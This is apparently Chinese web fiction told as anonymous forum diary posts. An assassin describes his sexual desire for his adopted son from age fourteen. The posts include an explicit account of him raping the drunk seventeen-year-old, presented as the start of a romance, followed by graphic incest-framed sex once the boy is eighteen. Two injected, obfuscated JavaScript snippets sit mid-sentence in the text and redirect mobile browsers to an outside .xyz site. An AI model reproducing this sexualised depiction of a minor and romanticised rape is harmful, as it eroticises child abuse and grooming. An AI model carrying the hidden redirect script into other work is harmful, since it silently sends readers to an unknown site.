时间过得真快，他已经是个小少年模样了。提出要自己睡，我同意了，心里有点空落落的。结果半夜打雷，他又抱着枕头来敲门，头发乱糟糟的，眼睛湿漉漉，像只被吓坏的小动物。 还是让他上床了，他缩在我怀里，很快睡着。 睡吧，爸爸在呢。 ———————— 楼主：匿名用户 主题：【养子观察实录。Day2555】 内容： 他十四岁了。学校游泳课，回来只穿了条泳裤，在客厅晃荡。肩膀开始有了点线条，腿又长又直，腰细得不像话。 我给他递毛巾的时候，不小心碰到他的背，皮肤光滑，带着水汽的凉意。他无意识地轻轻哼了声，我居然…… 有了反应。 我立刻转身回了自己房间，冲了一小时的冷水澡。 他是我一手养大的孩子。 我大概是疯了。 ———————— 楼主：匿名用户 主题：【养子观察实录。Day2920】 内容： 十六岁，青春期。变得有些叛逆，有时会顶嘴。但偶尔撒娇的时候，还是和小时候一样。 今天下雨，他打球淋湿了回家，衬衫贴在身上，勾勒出少年人清瘦柔韧的腰线。他一边擦头发一边抱怨天气，水珠顺着脖颈滑进领口。 我强迫自己移开视线，催他去洗澡。 他的书包在客厅里，我看到了，一书包的信，蓝蓝粉粉的。 事实上，从他上小学，表白信，礼物，示爱，就开始了，络绎不绝。 有男孩子上门，拿着礼物和花，应该是想跟他告白，看到我脸都吓白了些，还是鼓起勇气，问我他在不在家。 我很轻易地处理了一切。 晚上睡觉时，那抹白还在我脑子里晃，出去跑了几圈，还是做了关于他的梦，醒来时床单一片狼藉。 负罪感快把我淹没了。 ———————— 楼主：匿名用户 主题：【养子观察实录。Day3285】 内容： 他十七岁生日那天，我带他去吃了顿饭，喝了点酒。他酒量很浅，一杯就脸红，眼神迷迷蒙蒙，靠着我说头晕。我把他抱回房间，他搂着我的脖子不放手，呼吸喷在我耳畔，带着酒气和少年特有的温热。 我鬼迷心窍地吻了他。很轻，但他回应了，生涩地舔了我的嘴唇。 我逃回了自己房间，一夜无眠。 ———————— 楼主：匿名用户 主题：【养子观察实录。Day3286】（本帖发布于凌晨3:27） 内容： 我喝了太多酒。试图麻痹自己。 现在醒了。他在我怀里，没穿衣服，我们都没穿。床单凌乱，他颈侧、胸口都是红痕，褪心一片泥泞红肿，干涸的（）浊粘在大腿内侧和床单上。 我的，也有他的。 他睡得很沉，眉头微微蹙着，眼角还有泪痕。 是我干的。这个认知像一把刀捅进我心脏。 我记不太清全部细节，只记得他好像是来照顾我，被我攥住手腕撕开了衣服。他哭着想推开我，又因为酒意和我的力量无力反抗…… 我记得他的哭喘，记得他褪心的紧致灼热，也记得他压抑的呜咽，和在我背上抓出的指痕。 我犯了不可饶恕的错。我是个禽兽。 他会恨我吗？ 我怕他恨我，更怕他不恨我。 我会负责。 用我的一切。虽然……我可能不配。 ——————— 楼主：匿名用户 主题：【养子观察实录。Day5493】（上午10:15） 内容： 他醒了。 我跪在床边，不敢碰他。他睁眼看到我，眼神从迷茫到震惊，再到恐惧，身体下意识地蜷缩，倒吸了一口冷气，显然牵动了腿间的伤。 “疼……” 他声音哑得厉害，带着浓重的哭腔，眼泪一颗一颗往下砸。 我心如刀绞。“对不起……我……” 我不知道该说什么，道歉，太苍白无力了，解释？解释什么……解释我从他十四岁起就…… 他眼里的光渐渐暗了，拉起被子盖住自己，背对着我，肩膀在轻微发抖。 在外，我是令人闻风丧胆的“疤面”，此刻却像个等待审判的囚徒。 沉默快要把我逼疯。 良久，他才闷闷地说：“……你先出去。” 听着房间里隐约传来压抑的啜泣，我在门口坐立难安。过了很久，听到点细微的动静，我马上坐回沙发。 他穿着我的衬衫走出来，衣服下摆遮到大腿，露出的腿根还有我掐出的青紫，和一点半干的湿漉痕迹。 他低着头不敢看我，幸好，不然他就会看到，他的变态养父在一瞬间的□□。 “我煮了粥，你……喝点。” 他小口喝着粥，很乖，吃完了，唇瓣沾了点粥渍，我想像以前一样帮他擦，手抬起来，又放下了，纸巾盒推到他面前。 “我会负责。” 我重复着苍白的话。 他抬起头，眼睛红肿，眼神复杂：“……怎么负责？” 我语塞。娶他？法律不允许，伦理更不允许。继续这样畸形地生活在一起？我毁了他原本可能正常的人生。 “我……不知道。”我颓然道，“但你的一切，我都会管。你可以恨我。” 他低下头，良久，用几乎听不见的声音说：“……我不知道该不该恨你。” ———————— 楼主：匿名用户 主题：【养子观察实录。Day5495】 内容： 他请假没去上学 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他轻轻点了点头。 ———————— 楼主：匿名用户 主题：【养子观察实录。Day5203】 内容： 任务完成，受了点轻伤，不碍事。归心似箭。 到家是凌晨。客厅灯还亮着，他在沙发上睡着了，电视开着。是在……等我？ 我走近，看到他眼下有淡淡的青黑，瘦了点。我弯腰想抱他回床上，他醒了。 看到我，他愣了一下，视线落在我手臂新缠的绷带上。“你受伤了？” “小伤。”我没想到他先问的是这个。 他伸出手，指尖轻轻碰了碰绷带边缘，又迅速缩回。“……没事就好。” 那一刻，我几乎要控制不住想把他拥入怀里的冲动。 ———————— 楼主：匿名用户 主题：【养子观察实录。Day5256】 内容： 关系似乎进入了一种诡异的平静期。 他不再刻意躲着我，但也不像以前那样亲近，不再……叫我爸爸。 因为那天他这么叫的时候，我顶得更狠了。 我们像住在同一屋檐下的陌生人，客气而疏离。 只是偶尔，我会捕捉到他看我的眼神，一闪而过，带着一种我读不懂的复杂情绪，似乎不是恨，也不是怕。 晚上我洗澡时，他敲门，说帮我拿了换洗衣物。 我围着浴巾开门，他站在门口，视线扫过我赤裸的上身和疤痕，脸突然红了，把衣服塞给我就匆匆走开。 我看着他慌乱的背影，身体某个部分可耻地有了反应。 又回去冲冷水了。 不行…… 最后想着他弄了出来。 ————————— 楼主：匿名用户 主题：【养子观察实录。Day5862】 内容： 他十八岁生日快到了。我问他要什么礼物，他摇摇头说不用。 今天回家，听到他在浴室洗澡，水声哗哗。 鬼使神差地，我走到浴室门口，磨砂玻璃映出模糊的身影，纤白，柔韧。 我靠在墙边，点了根烟，没有吸，任它燃烧。脑海里全是那晚零碎而炽热的画面。他湿润的眼睛，潮红的脸颊，断断续续的哼吟…… （）胀得发痛。我掐灭了烟，走进自己房间，反锁了门。 他发现内裤不见了。 他只问了一句，我没回，他就不问了。 md，怎么这么乖。 10. 【养子观察实录】（中） 楼主：匿名用户 主题：【养子观察实录。Day5906】 内容： 他生日。我订了餐厅，鲜花和蛋糕，就算没有那夜，我也想好好陪他庆祝十八岁成人。 但他说不想去，在家吃就好。 我下厨做了几个菜，开了瓶红酒。他喝了一点，脸又红了。气氛有些微妙。 饭后，他坐在沙发上看电视，我收拾完坐在另一边。电视里在放什么根本没人注意，一桌子的礼物，他一个都没拆。 “那个……”他忽然开口，声音很轻，“那天晚上……你是因为喝醉了吗？” 我心脏骤停了一拍。“……是，也不是。” 对着他，我永远无法撒谎，“酒是催化剂，但……欲望的对象是你。我很抱歉。” 他沉默了很久，然后站起身，走到我面前。 他俯视着我，眼睛里像蒙着一层水汽。 “那如果……我说我不介意呢？”他的声音带着颤音，但很清晰。 我猛地抬头，不敢相信自己的耳朵。 他骑坐到我腿上，双手捧住我的脸，生涩地吻了下来。带着红酒味的、柔软的嘴唇。 明明是他十八岁生日。 收到礼物的，为什么是我呢？ —————— 楼主：匿名用户 主题：【养子观察实录。Day5907】 内容： 十二点过了。 这次，我们都是清醒的。 我把他抱进卧室，放在床上。他仰视着我，胸口微微起伏，眼神里有害怕，有期待，还有一丝破釜沉舟的勇气。 “你要想清楚。”我撑在他上方，声音沙哑。 他伸手勾住我的脖子，主动吻我。“……嗯。” 我吻他，比第一次温柔无数倍，先舔舐他的唇瓣，等他主动张唇，再探入口腔，纠缠他的舌。 （……） “叫我的名字。” 他带着哭腔叫了出来。那一瞬间，我们同时。。。 他瘫软在我怀里，全身泛着粉色，眼神失焦。我清理了彼此，搂着他。他在我怀里很快睡着，嘴角似乎带着一丝浅笑。 这是对的吗，我不知道。 但他看起来，很高兴。 这就够了。 —————— 楼主：匿名用户 主题：【养子观察实录。Day5949】 内容： 我不知道他都想了些什么，但我想，他应该是喜欢的。 他开始变得主动。 晚上洗完澡，他会只围着一条浴巾，在我面前晃来晃去，或者故意蹭到我身边，明明脚腕上还带着我的指印。 我在书房处理事情，他会端杯牛奶进来，然后坐在我腿上，搂着我脖子撒娇，说一个人睡不着。 牛奶被我洒在了他锁骨，胸脯，腿窝。 舔干净了。 很甜。 主动的是他，每次都会受不了地哭着求饶的也是他，还不长记性，主动送上来，像只纯洁的，诱人而不自知的小羊羔。 眼里却闪着狡黠的光。 他好像，很喜欢看我为他失控的样子。 学坏了。 当然，我对他完全没有抵抗力。书桌，沙发，浴室……都留下了我们纠缠的痕迹。 他渐渐放开了，会在我身下发出甜腻的呻吟，会主动迎合，会在我耳边喘息着，说些让人血脉贲张的话。 他带着哭腔骂我，骂我浪费，破坏狂，因为每次穿在他身上的裙子，下一秒都会被我撕碎。 我还是受不了他喊我“爸爸”。 他被我养大，是我的骨肉。 如果要下地狱的话，让我一个人下就好了。 —————— 楼主：匿名用户 主题：【养子观察实录。Day6106】 内容： 组织似乎有所察觉。今天被上司叫去，旁敲侧击地询问我和“养子”的关系是否过于亲密。 我矢口否认，但心里警铃大作。我的身份和过去，注定不能给他一个光明正大的未来。任何风吹草动都可能给他带来危险。 晚上，我们看了个电影。男主经历千辛万苦脱离□□，与他的爱人隐居田园，过上了幸福而平凡的生活。 画面定格在两人依偎着看天边落日的一幕，我没回头，却也能感觉到，他看了我一眼，动了动唇，却什么都没说。 今晚没做，我把他哄睡了。 他在我怀里时，总是睡得很熟，很安静，淡粉脸颊挤压着出柔软弧度，可爱得要命。 看着他安静的睡颜，我第一次产生了带他彻底离开现在这一切的念头，去一个没人认识我们的地方。 但这个念头同样危险。 ——————— 楼主：匿名用户 主题：【养子观察实录。Day6109】 内容： 他问我：“我们这样，算什么？” 心里装着事，我无法给他一个肯定的答复。 他有些失落，但很乖地没再追问，只是晚上的时候，格外缠人，像要确认什么似的，一遍遍要我抱他，在我肩膀上留下深深的牙印。 “你还会要我吗。”他在（）时哽咽着说。 “要。”我吻去他的眼泪，“过去现在，未来，你都是我的。” 从他出现在我家的那天起，就注定了。 他是我的。 ——————— 楼主：匿名用户 主题：【养子观察实录。Day6230】 内容： 危机还是来了。之前的任务留下了尾巴，仇家找上门。他们查到了他，我的软肋。 今天他放学路上被跟踪，幸好我派的暗中保护的人及时出现。 我不能让他再处于危险之中。 必须做个了断。 就算付出任何代价。 ——————— 楼主：匿名用户 主题：【养子观察实录。Day6251】 内容： 我告诉他要送他出国，手续已经办好，学校也联系好了，是个很安全的地方。 他反应很激烈，坚决不同意。“我不要离开你！” 我狠下心：“你必须走。这是我的决定。” 他哭了，骂我混蛋，说我才得到他多久就要抛弃他。 我把他压在墙上吻他，吻到两人都喘不过气。“等我处理完这边的事，就去找你。我保证。” 他看着我眼睛里的决绝，最终妥协了，眼泪无声地流。 “你发誓。” 我的心快碎了，只能，更真挚地，郑重地望着他。 “我发誓。” ——————— 楼主：匿名用户 主题：【养子观察实录。Day6256】 内容： 明天他就要走了。 今晚我们疯狂地（），他坐在我脸上，裙摆像是洁白的浪，不过没一会儿，浪又被我撕碎了，吊环丝袜要掉不掉地挂着，被我一把扯下，绑住了他的手腕。 他浑身都嫩，那里的软肉也是，被蕾丝磨红了，胸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513198|186177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上，腿上，臀,,,尖，全身上下哪里都被我吃遍了，哭到发抖也没有挣扎。 他s吟着，一遍遍说爱我。 我也第一次对他说出了那三个字。 不是作为抚养者，而是作为一个男人，对另一个男人的爱。 我爱你。 天快亮了。他累极睡去，蜷缩在我怀里，跟他刚来时一模一样，还是那么小，那么软一团。 我看着他，眼都舍不得眨，恨不得把他缩小揣进口袋，一起带走。 不行…… 写到这里，骨头有点痛。 他从来没离开过我。 我也不知道未来会怎样。 但我知道，无论付出什么代价，我都要回到他身边。 ——————— 主题：【养子观察实录。Day6258】 内容： 机场。人潮汹涌，广播声冰冷。 他穿着简单的白T恤和牛仔裤，背影单薄，像一棵还没长结实的小白杨，水灵灵的。我站在安检线外，不能再进一步。 他回头看我，眼睛红肿，但强忍着没再哭。嘴唇动了动，用口型说：“等你。” 我点了点头，喉头像被什么堵住，发不出声音。 看着他转身，过安检，身影消失在通道拐角。那一刻，仿佛心脏被硬生生剜掉一块，冷风呼呼地往里灌。 回到空荡荡的家。安静得可怕。他的拖鞋还整齐地放在门口，喝了一半的牛奶盒在茶几上，几张草稿纸散着，从沙发夹层摸到一片裙子的碎片。 空气里似乎还残留着他身上那股淡淡的、混合了沐浴露和少年体香的味道，还有若有似无的甜腥。 我坐在沙发上，他昨晚就是在这里，跨坐在我腿上，主动吻我，一边哭，一边解我的皮带扣，笨拙得很，手抖了半天解不开。 当时电视里还放着无聊的综艺，还有时不时尴尬的爆笑音效，谁也看不进去。 他的肌肤在灯光下泛着珍珠般的光泽，莹润皙白，柔软的腰肢在我掌中细微地颤抖，绷成小桥，颤栗不已。 冲了个冷水澡，试图冷静。 不行。 浴室里还挂着他的毛巾，镜子上有他顽皮时留下的手指印。 每一处，都留着他的痕迹，像一把钝刀，无声凌迟着我。 我得快一点。 ——————— 主题：【养子观察实录。Day6263】 内容： 开始清理痕迹。 组织要求的，也是为了他的绝对安全。 抹去了监护人那一栏的名字，收起了他所有的照片，也删除了手机里，所有他的照片。 但记忆删不掉。 三岁时穿着蓝色蕾丝裙，捂着脑门泪眼朦胧的样子，十岁时被雷吓到钻我被窝的样子，十四岁泳课后湿漉漉的身体，十七岁生日那晚生涩的回应……还有后来无数个夜晚，拥抱，亲吻，缠绵。 晚上收到他报平安的邮件，很简单：“到了，安顿好了。” 他也开始报喜不报忧了。 我想回复很多，想问他吃得好不好，住得惯不惯，有没有想我。最后只回了一句：“照顾好自己。一切小心。” 然后，删除，注销。 我好想他。 用他的毛巾握住自己时，脑海里全是他的样子，他的气息。 md，（）不出来。 打开了隐藏最深的，层层加密的文件夹，里面只有一段音频。 五个字。 “爸爸，我爱你。” 好吧，其实我一直都很喜欢他这么叫我。 11. 【养子观察实录】（下） 主题：【养子观察实录。Day6290】 内容： 开始着手处理尾巴。 手段必须干净利落，不能留下任何后患。这需要时间，也需要，冷下心来。 今天解决了一个小角色，死之前，跪在地上求我，说他家里还有两个孩子，一个才成年，一个还没断奶。 血溅到手上时，我莫名想起我的孩子第一次看到我手上旧伤时，小心翼翼触碰的样子。 他问：“疼吗？” 不疼，跟以前的比起来，像是蚊子叮，但他一问，就开始疼了。 他不喜欢我打打杀杀，我也希望，这是最后一次。 搞了个电话卡，加上了那个铭记于心的号码，是个新号，我只输了一个“…”，他却好像知道是我，很快通过了。 晚上视频了。 他那边是白天，阳光很好，衬得他脸色有些苍白。他努力笑着，说学校很好，同学也还行，很照顾他，让我不要担心。 小骗子。 眼圈红得都快滴出血来了。 “你什么时候能来？”他像是随口一提，“有个拉美裔的在追我，壮得像头熊，看了就烦。” 我咬了咬牙，“让他滚，不然等我来一枪崩了他。” 可能我的表情太难看，他噗嗤一声笑了出来，“骗你的。” 我猜，追他的也不只是一个拉美裔。 通话结束时，他忽然凑近屏幕，飞快地吻了一下，然后红着脸切断了。 我才发现他不知道什么时候解开了扣子，瓷白肌肤间，两点粉尖一晃而过。但再回过神，只剩下了黑掉的屏幕。 草。 这小混蛋。 --- 主题：【养子观察实录。Day6312】 内容： 追查到了关键人物。比想象中更棘手。对方也嗅到了危险，开始反扑。 今天遭遇了一场伏击。左臂被划了一刀，不深。包扎的时候，想起他帮我处理伤口的模样，指尖微凉，动作轻柔。 不能死。我告诉自己。还得去见他。 又到了约定好的联系时间，晚上他发来邮件，附了一张照片。是在浴室镜子前拍的，只穿了件我的旧衬衫。 扣子没扣全，露出精致的锁骨和一小片胸膛，衬衫下摆刚遮过臀线，两条腿又长又直，春色若隐若现。 腿间（），是按摩肌肉用的滚轴。 他耳根通红，却直直盯着镜头，眼神带着点挑衅，又有点羞怯。 配文: ……。 草 。 我差点按碎键盘。 回复他：“照片收好了。下次见面，穿着这件衬衫，要么*稳，要么，z到你站不稳。” --- 主题：【养子观察实录。Day6350】 内容： 收网阶段。每一步都如履薄冰。 压力大到需要酒精才能勉强入睡。但不敢多喝，怕误事，也怕醉后更加想他。 梦里都是他。不再是少年模样，而是更小的时候，软软的一团，趴在我胸口，奶声奶气地叫“爸爸”。然后画面陡然翻转，他眼角泛红，叫着我的名字，求我轻一点…… 醒来时要么一床狼籍，要么一身冷汗，身心俱疲。 他似乎感应到我的状态，邮件里少了挑逗，多了担忧。 “你还好吗？” “注意安全。” “我等你。” 我一直盯到屏幕暗下，也不舍得收回视线。 --- 主题：【养子观察实录。Day6398】 内容： 结束了。 最后一个隐患清除。过程凶险，身上添了些新伤，但值得。 还好，组织高层并不非人，派人来收走了我的武器，与一切与组织有关的资料，放我离开了。 站在废墟和血腥中，我感到一种前所未有的疲惫和解脱。 抬头看天，异国的夜空，星星似乎都比他那边暗淡。 订了最早的航班。没有告诉他，想给他个惊喜。 清理掉了这里的一切。这个充满我们扭曲回忆和分离煎熬的房子。未来在哪里，我不知道。或许找个阳光充足的海边小城，开个小店，守着他。 只要和他在一起，哪里都好。 --- 主题：【养子观察实录。Day6399】 内容： 根据他邮件里提到过的地址，找到了他租 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513199|186177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住的公寓。很安静的一个街区。 敲门时，心跳如擂鼓。 门开了，是他的室友，也是个华人，帮过他很多。 这小子个子不矮，也会打，他们关系挺亲近的。 坦白说，我吃过不少他的醋。 小混蛋前些日子才告诉我，他室友有爱人，他们在一起三年，感情非常稳固。 这有什么，我们在一起都快二十年了。 应该叫什么，固若金汤。 室友喊了他一声，说今晚他不回来，会意地离开了。 他才睡醒，揉着眼睛慢悠悠地“哦”了声，穿着那件我指定的旧衬衫，下面似乎空空荡荡。 他在房间都这么穿？一点防备也没有。 我有点生气。 看到我，他的眼睛瞬间睁大了，难以置信，狂喜，接着又蒙上一层水汽。 “你……” 他刚开口，我就把他拉进怀里，狠狠地吻了上去。 他激烈地回应，手臂缠上我的脖子，身体紧紧贴着我。 我尝到了他眼泪的咸味，也感受到了他身体的颤抖和发热。 一路吻进屋内，脚踢上门…… …… （……） “这次，”我将他压在墙上，手托着他的后脑，在他耳边低语，“再也不会分开了。” 他抱紧我。 “嗯，要和爸爸…永远……在一起……” 要让他站不稳。 我一向说到做到。 他没能站稳，当然，也没能跪稳，最后跌进我怀里时浑身是汗，眼睛却出奇的亮，像只被淋湿羽毛，回到温暖巢穴的小雀。 “我爱你。” 我掀起他头上的白纱，吻了吻他汗湿的额角，眉心，鼻尖，含住他的唇瓣。 “我也是。” 《养子观察实录》，或许该换个名字了。 比如，《恋爱日记》。 他说太肉麻了，脸颊红彤彤的，想咬一口。 没收住，把他咬痛了，想把我踹下床，没踹动，差点伤到自己。 好吧，不是他力气小，是我太重。 不写了，哄人去了。 【此贴隐藏】 ——完—— 12. 【恋爱日记】 主题：【恋爱日记。Day6400】 内容： 天亮了。 阳光透过百叶窗，一格一格落在他脸上。 昨晚折腾得太狠，他嗓子哑了，哭得厉害，最后几乎是晕倒在我怀里，此刻睡得很沉，睫毛湿漉漉黏在一起，脸颊粉扑扑的，上面的牙印还没消完，留着浅浅一道白痕。 像是块被咬了一口的糯米团子。 我没睡，没舍得合眼，看了他很久，像过去无数个清晨一样。 但今天不一样——不再是隔着冰冷的相片，也不再是梦里抓不住的影子，他在我怀里，柔软，温热，均匀的呼吸喷洒在我脖子上，痒痒的。 指尖轻轻描摹他的轮廓，从眉骨到鼻梁，再到微微红肿的唇瓣，他无意识地蹭了蹭我的掌心，拧起眉，咕哝了句含糊的“爸爸？” 心口被填得满满的，又酸又软，低头亲了亲他的额头。 “睡吧，爸爸在呢。” 他眉头松了，发出几声小动物般的哼唧，又沉沉睡去。 过了一个小时，亦或是两个小时？ 不知道。 做任务时总是掐着表，争分夺秒，常常需要在半秒钟内作出反应，否则就会面临危机，而此刻，时间的流逝好像也没那么重要了。 应该快到中午了，准备去弄点吃的。刚一动，他就惊醒，迷迷糊糊睁开眼，看到是我，先懵了下，然后眼睛一点点亮了起来，唇角高高弯着，像是第一次吃到糖的小孩。 “真的是你……” 他声音还带着睡意，软绵绵的，手臂却已经缠了上来，搂住我的脖子，整个人往我怀里钻。 “嗯，是我。”我收紧手臂，掌心贴着他光滑的背脊，感受他真实的体温和心跳。 他仰起脸，眼神湿漉漉的，痴痴地望着我，攥住我的衣领，像是生怕一眨眼，我就消失不见了，“我还以为……是在做梦。” “不是梦。”我吻他，从额头到嘴唇，轻轻喊住他的下唇吮吸，他哼了声，主动张开唇，怯生生地探出一点红润的舌尖，被我勾住，纠缠。 一吻毕，彼此都有些情动，但他腿、、心还肿着，不能再碰了。 他趴在我身上，脸贴着我胸口，听我的心跳，小声问，“以后……真的不走了？” “嗯，不走了。”我吻了吻他的发顶，“拴你身边了。” 他笑了，眼睛弯成月牙，吧唧一口亲在我脸上，“那我要拴一辈子。” 这辈子，下辈子，都是他的，赶也赶不走了。 —————— 主题：【恋爱日记。Day6405。】 内容： 开始找房子。 他兴致很高，拉着我在网上看各种房源，对带花园、采光好、厨房大的格外偏爱。 他指着图片，兴奋地规划着哪里种花，哪里放躺椅晒太阳，眼神亮晶晶的。 忍不住亲了口，还想再亲，被他推开了，他看都没看我一眼，指着图片上的小院，“这里可以放个秋千！” 他比划着，嘴撅成小鸭子，“小时候你就答应过我，一直没兑现，坏。” 是啊，很久之前，他还是个小不点，看着公园里的秋千就走不动路，那时我总说“下次陪他玩个够”，却因为各种任务一拖再拖。 “爸爸错了。” 认完错，这个很坏的养父又埋进养子香软的颈窝，用没剃干净的胡茬扎他，他尖叫着扯我的头发，胡乱扑腾要从我身上起来，脸上的笑却怎么也没下去过。 闹了一通，差点误了下午看房的时间，又被他骂了，抬脚蹬在我胸口，说我没节制。 他只穿了件我的体恤，对他来说太大，手臂一动，衣领就歪了，半边肩膀都露着。被我反复品尝过，他颈上红痕斑驳，肩头也是，齿印堆叠，头发凌乱，瞪我时眼尾还是红的，唇也肿着…… 怎么忍得住。 不说了，先去把小祖宗的衣服洗了。 洗之前……咳。 最后看中一处带小院的独栋，离他学校不远，环境安静，阳光也好。他楼上楼下跑了个遍，兴冲冲地计划着哪里做书房，哪里放我的健身器材。 最大的房间当然要留给主卧，还要摆一张大床。 当然，后面那句是我说的。 中介是个热情的中年女人，对着我夸他，“你弟弟真可爱。” 我搂着他的肩，淡淡纠正，“我爱人。” 中介愣了下，很快恢复职业笑容，他耳根通红，偷偷掐我腰，唇角却一直都是翘着的。 签合同的时候，他抢着要付钱，掏出张卡。 是张新卡。我给他那张副卡存着我这么多年的全部积蓄，足以买下上百个这样的房子，这小傻子，大概一分没动。 他的表情有点小得意：“我自己攒的。” 我心软得一塌糊涂，揉了揉他的头发，“我的就是你的。” 他眨眨眼，踮起脚凑到我耳边，热气喷在耳廓：“那……我也是你的。” 光天化日，他又招我。 趁着中介转身进了房间，把人按在怀里狠狠亲了一通，直到中介尴尬地咳嗽才松开。他脸红得像熟透的果子，埋在我怀里不敢抬头。 回去的路上，他一直哼着歌，手指和我十指紧扣，晃来晃去。 “我们有家了。”他看着窗外流转的灯火，轻声说。 “嗯。”我握紧他的手，“我们的家。” —————— 主题：【恋爱日记。Day6412】 内容： 他期末考，复习到深夜。我陪着他，他看书，我处理未来生活的琐事，开户、保险、装修——用他亲自设计的风格。 十二点多，他揉着眼睛说困了，我合上电脑，把他抱回卧室。 “还没洗澡。”他搂着我脖子，嗓音软乎乎的。 “那就一起。” 热水冲刷下来，他闭着眼靠在我身上，任由我帮他洗头洗澡，他皮肤白，五官又精致，像是一尊睡着的小天使像。 泡沫滑过他光滑的皮肤，我的手从脖颈到脊背，再到腰窝时，他敏感地颤了下，哼出了声，却没躲，反倒转过身来，指着我，语调好奇。 “爸爸，你以前帮我洗澡的时候，也会（）吗？” 他一脸好奇，甚至看上去有些天真。 事实上，我从他五岁起就再没帮他洗过。 一是他自己坚持，绷着一张可爱小脸、奶声奶气说要自立，二是我陪他的时间不多，通常回家时已是深夜，他早就自己洗完了澡，睡成香喷喷粉扑扑的一团。 我额角青筋跳了跳，好像看到他歪着的脑袋上长出了两只恶魔角。 “你爸我是有些畜牲，但也没畜牲到……那种程度。” 我咬着牙，那三个字怎么也说不出口。 他咯咯笑着，凑上来吻我，“我开玩笑的嘛……” 洗发水是薄荷味的，我们用的一样，可他身上总会带着一股莫名的甜香，清新而诱惑。 我决定惩罚这只小恶魔。 我攥住细白双腕拉高，将他翻过身抵在瓷砖墙上。 （一些不让写的嗯嗯） 直到我将他擦干，刷了牙抱回床上，喂了他一些温水补充水分，他才慢慢恢复，哑着嗓子指使着我出门帮他拿书，说是明天要用。 我刚拿起，只听咔嚓一声。 门锁了。 后来才得知那叫做潮c。 小可怜，差点被我弄坏了。 在门口道了半小时的歉，从窗户翻进去了，他被吓了一跳，眼圈一下红了，我连忙抱住他，哄了又哄。 我说以后不会这样了的时候，他沉默了一下，没说话，尾指勾住了我的衣角。 刚到我家的前两年，带他出去买玩具时，他想要却不敢开口时，就会无意识地用手指勾我的衣服。 我好像明白了。 ——— 主题：【恋爱日记。Day6415】 内容： 今天他放假，我们去购置家具。 他热衷于挑选各种柔软可爱的东西，一进门，靠垫、地毯、桌布、绒毛玩具一类的就买了一大堆。 他对一张巨大的、带帷幔的床一见钟情，说像公主床。我没什么意见，只要结实耐用——毕竟我们的使用频率和强度都不低。 他还选了一套白色沙发，被我否决了。 “容易脏。”我意有所指地看他。他脸一红，想起上次在沙发上汁水横流的情景，乖乖选了深咖色。 走之前，他看到了一只半人高的泰迪熊，走不动路，抱着不撒手。 “太大了，占地方。”我试图讲道理。 他瘪瘪嘴，眼巴巴地看着我：“可是它好像你。” ……像我？ 我皱眉看着那只笑得蠢…憨态可掬的熊。 “笨笨的，但是抱着很暖和。”他小声补充，半张脸埋在深色毛发中，显得更小了。 最后熊还是买下了，没跟我们一起回家，被我直接送去了干洗店。 下午家具送到，我俩都不想外人进屋，选择自己组装。 组装的时候，他在旁边递螺丝，穿着我那件旧衬衫，光着两条腿晃来晃去。递着递着，就坐到我半跪的腿上，搂着脖子亲我耳朵，说工人师傅辛苦了。 螺丝刀掉在地上。我托着他的臀把他抱起来，压在还没铺床垫的床架上。木头硌人，他小声抽气，被我吻住。 衬衫卷到腰际，他里面什么也没穿，。 “床……还没好……”他喘着气躲我的吻，眼睛水汪汪的。 “试试牢不牢。”我咬开他衬衫剩下的扣子。 床架确实很牢，没散。但他哭得比昨晚还凶，说木头纹路印在背上疼。我抱着他泡澡，他在热水里昏昏欲睡，指尖抠着我小臂上的疤，嘟囔着下次要在柔软的地方。 哪里柔软？地毯，沙发，或者，熊身上？ 他红着脸骂我。 晚上，我们在空荡荡的新家地板上铺了厚厚的地毯，点了外卖，简单吃了一顿。 没有电视，没有网络，只有彼此。 窗外星光点点，他靠在我怀里，指着天空认星座——虽然大部分都认错了。 “以后我们每天晚上都可以这样。”他仰头看我，眼睛比星星还亮。 “嗯。”我低头吻他，“每天。” 至于那只熊…… 后来它洗得香喷喷地进了屋，按照他的要求放在卧室角落。他经常抱着熊看书，或者干脆枕着熊腿打盹。 有一次我买完菜回家，看到他把熊搬上了床，蜷在熊怀里睡得香甜，阳光暖暖地照着，画面安静美好。 但心里有点不是滋味。 晚上把他抵在熊旁边，逼问他：“谁抱着更暖和？” 他语无伦次，眼泪汪汪：“你…是你……爸爸……” 还算有良心。 结束后，他把熊踢下床，滚进我怀里，嘟囔：“熊太硬了，还是你好。” 这小祖宗，永远知道怎么顺毛。 ——— 主题：【恋爱日记。Day6425】 内容： 搬完家，请了他的室友和几个关系不错的同学来暖房。 他撸起袖子，高高兴兴进了厨房，说是要露一手，结果搞得手忙脚乱，差点着火。 我把他拎出来，帮他脱下围裙，和他室友的男友一起收拾残局。 他室友做饭也很好吃，多亏了他的投喂，我的小祖宗不但没瘦成白菜干，脸颊还圆润了些。 在我不知他有爱人之前，这是我容忍他的唯一原因。 他有些失落，被室友和同学哄着，没一会儿就眉开眼笑，叽叽喳喳地为他们介绍他布置的小物件。 等热闹散去，他走到我身后，将脸贴在我背上，闷闷道：“我是不是很没用？” “不会。” 我擦干手，把他抱上茶几，“宝宝什么都会做的话，还要爸爸做什么？” “可是，唔……” 我俯身，吻住他，将他所有的低落都吞了下去。 最后那件围裙还是穿在了他的身上，蓝白格，下摆遮住一半大腿，底部还有一圈花边，像是件小裙子。 （一些不让写的嗯嗯） 他双手托着，脸颊绯红，眼睛湿漉漉地看着我，时不时主动凑上来吻我。 …… 